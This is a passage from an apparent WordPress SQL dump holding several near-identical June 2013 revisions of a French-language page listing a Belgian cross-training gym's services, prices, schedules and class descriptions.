padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Les cours ?&lt;/h2&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-06-16 14:24:59', '2013-06-16 14:24:59', '', 11, 'http://www.crosstrainingcenter.be/?p=117', 0, 'revision', '', 0),
(118, 1, '2013-06-16 14:25:45', '2013-06-16 14:25:45', '&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n\r\n&amp;nbsp;\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ebebeb;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ebebeb;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Les cours ?&lt;/h2&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-06-16 14:25:45', '2013-06-16 14:25:45', '', 11, 'http://www.crosstrainingcenter.be/?p=118', 0, 'revision', '', 0),
(119, 1, '2013-06-16 14:26:21', '2013-06-16 14:26:21', '&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n\r\n&amp;nbsp;\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fefefe;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fefefe;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Les cours ?&lt;/h2&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-06-16 14:26:21', '2013-06-16 14:26:21', '', 11, 'http://www.crosstrainingcenter.be/?p=119', 0, 'revision', '', 0),
(120, 1, '2013-06-16 14:26:44', '2013-06-16 14:26:44', '&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n\r\n&amp;nbsp;\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #f0f0f0;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #f0f0f0;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fefefe;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Les cours ?&lt;/h2&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-06-16 14:26:44', '2013-06-16 14:26:44', '', 11, 'http://www.crosstrainingcenter.be/?p=120', 0, 'revision', '', 0),
(121, 1, '2013-06-16 14:27:41', '2013-06-16 14:27:41', '&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n\r\n&amp;nbsp;\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #f5f5f5;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #f5f5f5;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Les cours ?&lt;/h2&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-06-16 14:27:41', '2013-06-16 14:27:41', '', 11, 'http://www.crosstrainingcenter.be/?p=121', 0, 'revision', '', 0),
(122, 1, '2013-06-16 14:27:58', '2013-06-16 14:27:58', '&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n\r\n&amp;nbsp;\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #f5f5f5;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Les cours ?&lt;/h2&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-06-16 14:27:58', '2013-06-16 14:27:58', '', 11, 'http://www.crosstrainingcenter.be/?p=122', 0, 'revision', '', 0),
(123, 1, '2013-06-16 14:28:10', '2013-06-16 14:28:10', '&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n\r\n&amp;nbsp;\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au 